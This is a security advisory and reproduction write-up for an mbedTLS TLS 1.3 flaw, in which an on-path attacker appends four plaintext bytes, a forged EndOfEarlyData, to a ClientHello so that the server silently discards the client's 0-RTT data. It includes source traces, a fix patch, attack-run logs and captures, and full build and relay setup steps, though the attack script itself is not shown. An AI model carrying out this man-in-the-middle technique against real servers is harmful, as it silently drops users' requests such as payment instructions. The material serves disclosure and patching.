mbedTLS drops early data, reports delivered

attacker appends four bytes, mbedTLS silently discards client's 0-RTT data

`Discovered 15 Mar 2026 · Updated 2 Sep 2026`

Receipt signed, goods never delivered, nobody goes looking. A client puts its first request in the opening packet (a payment instruction, a meter reading) and mbedTLS completes the handshake having received none of it. Four bytes from anyone on the network path are enough, and the client, told its early data was accepted, never sends it again.

Early data rides in the client's first flight: a round trip saved. mbedTLS reads that flight loosely. It accepts bytes appended after the ClientHello *inside the same record*, and those plaintext bytes survive the switch to encrypted keys and are handed to the state machine as if they had been authenticated.

> *Four plaintext bytes after the ClientHello end early data before any arrives.*

The server processes that fake end-of-early-data before any early data arrives, and completes the handshake as normal. The client's real early data is silently discarded. And both sides report success: the `Finished` HMACs match, and the client never resends the payload it counted as sent. Nobody knows early data was dropped.

```
    Client           MITM                          mbedTLS server (0-RTT on)
    ------           ----                          -------------------------
    ClientHello  -->  append 05 00 00 00 to CH,
                      record length + 4        -->  CH + trailing "EOED"
                                                      parse CH, send flight,
    early data   -->  drop                            buffer the 4 bytes,
                                                      activate early-data keys,
                                                      dispatch buffered "EOED",
                                                      switch to handshake keys
                 <--  relay server flight     <--
    EOED,Finished --> drop real EOED,
                      forward Finished         -->  verify Finished — OK
```

The `Finished` HMAC is TLS's proof that both sides agree on the transcript — but the transcript covers handshake messages, not record-layer state. `EndOfEarlyData` has one fixed encoding, so the fake one and the real one hash identically; early data is never in the transcript at all. AEAD verification in the record layer is the *only* thing that authenticates that EOED, and for these buffered bytes mbedTLS never runs it. The HMAC is correct; the guarantee it exists to give, that the data stream is intact, is not.

Don't trust, verify: Four bytes appended, early data gone

The adversary is a man in the middle: two `nc`s carrying the connection with `eoed.pl` between them, holding no key and decrypting nothing. Into the client's resumption ClientHello record it appends `05 00 00 00`, a well-formed `EndOfEarlyData`, and grows that record's length by four. Then it drops two records the client did send: the 0-RTT payload, and the real `EndOfEarlyData` behind it. The payload is encrypted and counted as sent before it is dropped, so the client believes it delivered; the real end-of-early-data still enters its transcript, so both `Finished` HMACs agree.

> `▶ the man in the middle, if you want to see how it works`

Run stock `cli` first and nothing is amiss. The resumption flight carries three records: ClientHello, the one-byte compatibility change-cipher-spec, and the early data at 63 bytes (46 of request, a content-type byte, a 16-byte tag). The server's log reads all 46.

```
# stock picoTLS client, no relay, against stock mbedtls-3.6.5
$ ./cli -s ticket.bin -e -i request.txt 127.0.0.1 4433
ptls_receive:256

# the server's own log: 0-RTT payloads read, then its account of
# both connections — the ticket grab, then the resumption
$ grep -c 'early data bytes read' server.log
1
$ grep -E 'bytes read|Protocol is|gracefully|Last error' server.log
    [ Protocol is TLSv1.3 ]
  < Read from client: connection was closed gracefully
  . Performing the SSL/TLS handshake... 46 early data bytes read
    [ Protocol is TLSv1.3 ]
  < Read from client: connection was closed gracefully

# the ClientHello-bearing frames off the capture
# — each column lists every occurrence in that frame: the
# lengths of the TLS records it carries, then the handshake
# message types inside those records and their body lengths
$ tshark -r wire.pcap -Y 'tls.handshake.type == 1' -T fields -e tcp.dstport \
     -e tls.record.length -e tls.handshake.type -e tls.handshake.length \
     -E header=y -E separator=/s
tcp.dstport tls.record.length tls.handshake.type tls.handshake.length
4433 194 1 190
4433 372,1,63 1 368
```

Now the same client, aimed at the man in the middle.

```
# stock picoTLS client, relay rewriting, against stock mbedtls-3.6.5
$ ./cli -s ticket.bin -e -i request.txt 127.0.0.1 4434

# what the man in the middle did, in its own words
$ cat relay.log
cybernuke: ClientHello record 372 -> 376 bytes (EndOfEarlyData coalesced)
cybernuke: dropped a 63-byte early-data record on the path
cybernuke: dropped a 21-byte end-of-early-data record on the path
cybernuke: 1 ClientHello seen, 1 rewritten; 2 records dropped (63, 21 bytes)

# the server's own log: 0-RTT payloads read, then its account of
# both connections — the ticket grab, then the resumption
$ grep -c 'early data bytes read' server.log
0
$ grep -E 'bytes read|Protocol is|gracefully|Last error' server.log
    [ Protocol is TLSv1.3 ]
  < Read from client: connection was closed gracefully
    [ Protocol is TLSv1.3 ]
  < Read from client: connection was closed gracefully

# the ClientHello-bearing frames off the capture
$ tshark -r wire.pcap -Y 'tls.handshake.type == 1' -T fields -e tcp.dstport \
     -e tls.record.length -e tls.handshake.type -e tls.handshake.length \
     -E header=y -E separator=/s
tcp.dstport tls.record.length tls.handshake.type tls.handshake.length
4433 194 1 190
4434 372,1,63 1 368
4433 376,1 1,5 368,0
```

The record is 376 bytes where the handshake message inside it is 368 plus its own four-byte header: four bytes over. Those four are a second handshake message — type 5, an EndOfEarlyData with an empty body — plaintext, inside a record no AEAD covers. The server took it. It ended early data on that forged signal, read none of the 46 bytes the honest run read, and completed the handshake anyway, both `Finished` HMACs verifying. The drop alone would not have done it: without the forged four bytes the server is still reading under early-data keys when the client's `Finished` arrives under handshake keys, and the connection dies, which is the guarded run below.

One row up is the same flight as the client sent it, arriving at the man in the middle on 4434: the ClientHello still 372 bytes, and behind it the 63-byte early-data record that never went on to the server. The client encrypted its 46 bytes and counted them sent, so it never fell back and retransmitted them, which is what it does when early data is refused. It was told accepted, and released a payload that never arrived. Ten of thirteen stacks tested reject the trailing bytes, nine with `decode_error`; Java JSSE and s2n-tls take them but fold them into the transcript, where the `Finished` HMAC catches it. Exploitation needs all three — accepting the bytes, dispatching them through the state machine, keeping them out of the transcript — and mbedTLS is the only one of the thirteen that does all three.

Run the same two `nc`s with the rewrite off, and all 46 bytes arrive:

```
# stock picoTLS client, relay passing through, against stock mbedtls-3.6.5
$ ./cli -s ticket.bin -e -i request.txt 127.0.0.1 4434

# what the man in the middle did, in its own words
$ cat relay.log
cybernuke: rewrite disabled, ClientHello 372 bytes relayed
cybernuke: 1 ClientHello seen, 0 rewritten; 0 records dropped

# the server's own log: 0-RTT payloads read, then its account of
# both connections — the ticket grab, then the resumption
$ grep -c 'early data bytes read' server.log
1
$ grep -E 'bytes read|Protocol is|gracefully|Last error' server.log
    [ Protocol is TLSv1.3 ]
  < Read from client: connection was closed gracefully
  . Performing the SSL/TLS handshake... 46 early data bytes read
    [ Protocol is TLSv1.3 ]
  < Read from client: connection was closed gracefully

# the ClientHello-bearing frames off the capture
$ tshark -r wire.pcap -Y 'tls.handshake.type == 1' -T fields -e tcp.dstport \
     -e tls.record.length -e tls.handshake.type -e tls.handshake.length \
     -E header=y -E separator=/s
tcp.dstport tls.record.length tls.handshake.type tls.handshake.length
4433 194 1 190
4434 372,1,63 1 368
4433 372,1,63 1 368
```

Trace to vulnerability site: Plaintext survives key switch

The record holds the ClientHello (a four-byte header and a body of length B) followed by the four trailing bytes. mbedTLS's handshake-record preparation (`library/ssl_msg.c:3222`) sets `in_hslen` to 4 + B from the handshake message's *own* length field, not the record length, so the ClientHello parser is handed exactly its B body bytes and never sees the trailing four; its own bounds check is satisfied when it finishes.

```
# the bound: in_hslen comes from the handshake message's own length
# field, so the ClientHello parser never sees what follows it
$ sed -n -e 3222p -e 3236p mbedtls/library/ssl_msg.c
int mbedtls_ssl_prepare_handshake_record(mbedtls_ssl_context *ssl)
        ssl->in_hslen = mbedtls_ssl_hs_hdr_len(ssl) + ssl_get_hs_total_len(ssl);
```

Function `ssl_consume_current_message` (`ssl_msg.c:4719`) then finds the handshake length four bytes short of the record length and memmoves the four leftover bytes to the front of `in_msg` as the next handshake message. RFC 8446 §5.1 does permit that coalescing, but not across a key change: a receiver MUST verify that the message before one ends on a record boundary, and MUST abort with `unexpected_message` where it does not.

```
# the coalescing: whatever is left over moves to the front of in_msg
# and becomes the next handshake message
$ sed -n -e 4719p -e 4782,4786p mbedtls/library/ssl_msg.c
static int ssl_consume_current_message(mbedtls_ssl_context *ssl)
        if (ssl->in_hslen < ssl->in_msglen) {
            ssl->in_msglen -= ssl->in_hslen;
            memmove(ssl->in_msg, ssl->in_msg + ssl->in_hslen,
                    ssl->in_msglen);
            MBEDTLS_PUT_UINT16_BE(ssl->in_msglen, ssl->in_len, 0);
```

The server sends its flight and activates early-data keys, and the four plaintext bytes are still sitting in `in_msg`; the buffer is not flushed on key activation. On the next `read_record`, conditional `in_msglen > 0` makes `ssl_record_is_in_progress` return true, so `ssl_get_next_record`, where AEAD decryption happens, is skipped entirely.

```
# the skip: a record still in progress bypasses ssl_get_next_record,
# which is where AEAD decryption runs
$ sed -n -e 4309p -e 4324p -e 4808,4813p mbedtls/library/ssl_msg.c
            if (ssl_record_is_in_progress(ssl) == 0) {
                    ret = ssl_get_next_record(ssl);
MBEDTLS_CHECK_RETURN_CRITICAL
static int ssl_record_is_in_progress(mbedtls_ssl_context *ssl)
{
    if (ssl->in_msglen > 0) {
        return 1;
    }
```

The buffered four bytes are dispatched as a handshake message of type `0x05`, `EndOfEarlyData`. No AEAD tag is checked; no decryption runs. The `WAIT_EOED` coordinator (`ssl_tls13_server.c:2938`) accepts it, and because `EndOfEarlyData` has an empty body there is no HMAC to block the forgery and its type byte is exactly the one expected.

```
# the accept: message type and type byte are the whole test, and early
# data proper is taken on a different message type entirely
$ sed -n -e 2938p -e 2948,2951p -e 2954p mbedtls/library/ssl_tls13_server.c
static int ssl_tls13_end_of_early_data_coordinate(mbedtls_ssl_context *ssl)
    if (ssl->in_msgtype == MBEDTLS_SSL_MSG_HANDSHAKE        &&
        ssl->in_msg[0]  == MBEDTLS_SSL_HS_END_OF_EARLY_DATA) {
        MBEDTLS_SSL_DEBUG_MSG(3, ("Received an end_of_early_data message."));
        return SSL_GOT_END_OF_EARLY_DATA;
    if (ssl->in_msgtype == MBEDTLS_SSL_MSG_APPLICATION_DATA) {
```

Fix

A message that can precede a key change must be the whole of its record. Cybernuke's fix checks that where mbedTLS fetches one, and refuses the record when trailing bytes follow: the four bytes never reach the buffer they would have survived in, and the peer is told why.

```
--- a/library/ssl_tls13_generic.c
+++ b/library/ssl_tls13_generic.c
@@ -75,6 +75,34 @@ int mbedtls_ssl_tls13_fetch_handshake_msg(mbedtls_ssl_context *s
         goto cleanup;
     }

+    /* RFC 8446 5.1: handshake messages MUST NOT span key changes, and a
+     * receiver MUST verify that every message immediately preceding one
+     * aligns with a record boundary, terminating the connection with an
+     * "unexpected_message" alert where it does not. ClientHello,
+     * ServerHello, EndOfEarlyData and Finished are the messages that can
+     * precede a key change, so each must be the whole of its record's
+     * content. Trailing bytes behind one survive the key change in the
+     * input buffer and reach the state machine with no AEAD verification:
+     * a forged EndOfEarlyData coalesced onto a ClientHello ends early data
+     * on a signal nothing authenticated, and the client's real early data
+     * is discarded in silence. */
+    switch (hs_type) {
+        case MBEDTLS_SSL_HS_CLIENT_HELLO:
+        case MBEDTLS_SSL_HS_SERVER_HELLO:
+        case MBEDTLS_SSL_HS_END_OF_EARLY_DATA:
+        case MBEDTLS_SSL_HS_FINISHED:
+            if (ssl->in_hslen != ssl->in_msglen) {
+                MBEDTLS_SSL_DEBUG_MSG(1,
+                    ("Message does not end on a record boundary."));
+                MBEDTLS_SSL_PEND_FATAL_ALERT(
+                    MBEDTLS_SSL_ALERT_MSG_UNEXPECTED_MESSAGE,
+                    MBEDTLS_ERR_SSL_UNEXPECTED_MESSAGE);
+                ret = MBEDTLS_ERR_SSL_UNEXPECTED_MESSAGE;
+                goto cleanup;
+            }
+            break;
+    }
+
     /*
      * Jump handshake header (4 bytes, see Section 4 of RFC 8446).
      *    ...
```

Apply it to the tree the bring-up built, rebuild `ssl_server2`, and relaunch:

```
$ git -C mbedtls apply ../fix.patch
$ cmake --build mbedtls/build --target ssl_server2 -j2
[100%] Built target ssl_server2

# relaunch the server on the rebuilt binary:
$ ./ssl_server2 server_port=4433 force_version=tls13 early_data=1 tickets=1 \
     crt_file=server.crt key_file=server.key > server.log 2>&1 &
```

Re-run the attack against that build. The same 376-byte record arrives, so what changes is the server's answer: it finds the ClientHello four bytes short of its own record, refuses it, and sends the alert the clause names.

```
# stock picoTLS client, relay rewriting, against mbedtls-3.6.5 + fix.patch
$ ./cli -s ticket.bin -e -i request.txt 127.0.0.1 4434
ptls_handshake:266

# what the man in the middle did, in its own words
$ cat relay.log
cybernuke: ClientHello record 372 -> 376 bytes (EndOfEarlyData coalesced)
cybernuke: dropped a 63-byte early-data record on the path
cybernuke: 1 ClientHello seen, 1 rewritten; 1 records dropped (63 bytes)
cybernuke: the EndOfEarlyData record never arrived

# the server's own log: 0-RTT payloads read, then its account of
# both connections — the ticket grab, then the resumption
$ grep -c 'early data bytes read' server.log
0
$ grep -E 'bytes read|Protocol is|gracefully|Last error' server.log
    [ Protocol is TLSv1.3 ]
  < Read from client: connection was closed gracefully
Last error was: -30464 - SSL - An unexpected message was received from our peer

# the ClientHello-bearing frames off the capture
$ tshark -r wire.pcap -Y 'tls.handshake.type == 1' -T fields -e tcp.dstport \
     -e tls.record.length -e tls.handshake.type -e tls.handshake.length \
     -E header=y -E separator=/s
tcp.dstport tls.record.length tls.handshake.type tls.handshake.length
4433 194 1 190
4434 372,1,63 1 368
4433 376,1 1,5 368,0
```

The server's log ends on an unexpected message and carries one `Protocol is TLSv1.3` line where the runs above carry two: the ticket grab happened, the resumption did not. The client reads that verdict as `ptls_handshake:266`, a peer alert of type 10. And the attacker's own log is one record shorter than before, because the connection died at the ClientHello: the early data was dropped on the path as ever, and the real `EndOfEarlyData` it was waiting to drop never came. RFC 8446 §5.1 is explicit: implementations "MUST verify that all messages immediately preceding a key change align with a record boundary; if not, then they MUST terminate the connection" with an `unexpected_message` alert, and the ClientHello is one of the five messages it names.

Legitimate flow is untouched. Stock `cli` against the guarded build still delivers its 46 bytes: the card below repeats the baseline command for command and output line for output line, under a different build.

```
# stock picoTLS client, no relay, against mbedtls-3.6.5 + fix.patch
$ ./cli -s ticket.bin -e -i request.txt 127.0.0.1 4433
ptls_receive:256

# the server's own log: 0-RTT payloads read, then its account of
# both connections — the ticket grab, then the resumption
$ grep -c 'early data bytes read' server.log
1
$ grep -E 'bytes read|Protocol is|gracefully|Last error' server.log
    [ Protocol is TLSv1.3 ]
  < Read from client: connection was closed gracefully
  . Performing the SSL/TLS handshake... 46 early data bytes read
    [ Protocol is TLSv1.3 ]
  < Read from client: connection was closed gracefully

# the ClientHello-bearing frames off the capture
$ tshark -r wire.pcap -Y 'tls.handshake.type == 1' -T fields -e tcp.dstport \
     -e tls.record.length -e tls.handshake.type -e tls.handshake.length \
     -E header=y -E separator=/s
tcp.dstport tls.record.length tls.handshake.type tls.handshake.length
4433 194 1 190
4433 372,1,63 1 368
```

A bounds check in the ClientHello parser would not help: it is bounded by the handshake message's own length field, so it never sees the trailing bytes and already passes. The defect is coalesced plaintext surviving a key transition, which is where the guard sits.

Scope

Affected: every mbedTLS built with `MBEDTLS_SSL_EARLY_DATA`. The demonstration runs against 3.6.5 (LTS) and 4.0.0, and the defect is as old as the feature: 0-RTT arrived in 3.6.0, March 2024, and that release's fetch already tested the message type and nothing about its record.

The attacker is on-path: no credentials, no user interaction. The client connects and sends 0-RTT normally. The impact is data silently dropped on a handshake both ends complete: the client never falls back and resends, and zero early-data bytes are delivered (`I:H`; the attacker reads nothing, so `C:N`, the connection continues, so `A:N`). Unlike the known 0-RTT replay risk, which delivers data *many* times, this delivers it *zero* times while reporting success.

The underlying record-layer bug exists regardless of 0-RTT, but only 0-RTT weaponises it to the silent drop: there the trailing bytes are a type-`0x05` message the state machine expects and whose empty body needs no HMAC. Without 0-RTT the same bytes reach the `CLIENT_FINISHED` state, where a type mismatch aborts the connection, a per-connection denial of service and a lower-severity reading of the defect (an availability nick, not this integrity break); that path is not demonstrated here.

The attacker can withhold the client's early data but cannot put early data of its own in its place. Coalesced bytes inherit `in_msgtype = 0x16` (handshake) from the ClientHello record and it is never reassigned, while the early-data handler takes application-data records only, at `in_msgtype = 0x17`, so nothing the attacker appends can arrive as early data.

Discovered 2026-03-15; disclosed 2026-03-23 (CERT/CC VRF#26-03-KBWNY; Intigriti ARM-MSM6P5NF). Target: mbedTLS 3.6.5 (LTS) and 4.0.0. CWE-325 · CVSS 5.9 Medium (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N).

Detected, exploited, & patched by cybernuke — cybernuke.bensmyth.com.

`Updated 2 Sep 2026 — the advisory now carries CVE-2026-73096.`

`Updated 7 Jul 2026 — the vendor shipped a fix in mbedTLS 3.6.7 / 4.1.1 / 4.2.0 closing this report; the advisory (`*`"TLS 1.3 early data integrity failure due to buffered plaintext across key change`*`") is public.`

Appendix: standing it up

`Everything a maintainer needs is above. What follows is the wiring a verifier stands up: both endpoints fetched and built, certificate and request minted, the man in the middle raised in a third terminal, and the server and loopback capture behind every run.`

```
# Working directory: empty but for eoed.pl and fix.patch — the
# attacker and the patch shown above, each saved to a file of that name.

# the client: stock picoTLS, pinned at the upstream commit. It is here
# because it speaks TLS 1.3 early data and nothing else is asked of it;
# no step below modifies it, and the attack lives in the path between
# this client and the server.
$ git clone https://github.com/h2o/picotls.git
$ git -C picotls checkout aef2262
$ git -C picotls submodule update --init
$ cmake -S picotls -B picotls/build
$ cmake --build picotls/build --target cli -j2

# the target: mbedTLS at the 3.6.5 release tag, early data compiled in.
# config.py set is the one flag that gates the bug; without it
# ssl_server2 has no early_data option at all.
$ git clone --depth 1 --branch mbedtls-3.6.5 \
     https://github.com/Mbed-TLS/mbedtls.git
$ git -C mbedtls submodule update --init --depth 1
$ python3 mbedtls/scripts/config.py set MBEDTLS_SSL_EARLY_DATA
$ cmake -S mbedtls -B mbedtls/build -DENABLE_TESTING=Off
$ cmake --build mbedtls/build --target ssl_server2 -j2

# the two binaries, staged under the names used from here on:
# the target and the client
$ ln -s mbedtls/build/programs/ssl/ssl_server2 ssl_server2
$ ln -s picotls/build/cli cli

# a self-signed server certificate — the picoTLS client runs no peer
# verification unless asked — and the 46-byte request the client will
# send as 0-RTT early data
$ openssl ecparam -genkey -name prime256v1 -out server.key
$ openssl req -x509 -new -key server.key -out server.crt -days 1 \
     -subj /CN=localhost
$ printf 'GET /transfer HTTP/1.1\r\nHost: bank.example\r\n\r\n' > request.txt

# the server, early data on — backgrounded, its output to a log.
# Relaunch it before each run below; the redirect truncates the log:
$ ./ssl_server2 server_port=4433 force_version=tls13 early_data=1 tickets=1 \
     crt_file=server.crt key_file=server.key > server.log 2>&1 &

# in a second terminal, capture the loopback. Restart that before each
# run too, and Ctrl-C it once the run is done:
$ tshark -i lo -f 'tcp port 4433 or tcp port 4434' -w wire.pcap

# in a third terminal, the attacker: nc listening on 4434, eoed.pl,
# and nc onward to the server on 4433, with a fifo carrying the server's
# side back. The runs below aim the client at 4434; nothing else moves.
# Pass off instead of on and it relays every byte untouched.
$ rm -f back relay.log; mkfifo back
$ nc -l -p 4434 < back \
     | perl eoed.pl on 2> relay.log \
     | nc 127.0.0.1 4433 > back &

# every run below starts from no session at all and takes its own
# ticket, so each resumption is a first use of a fresh one:
$ rm -f ticket.bin
$ ./cli -s ticket.bin -i /dev/null 127.0.0.1 4433 > /dev/null 2>&1
```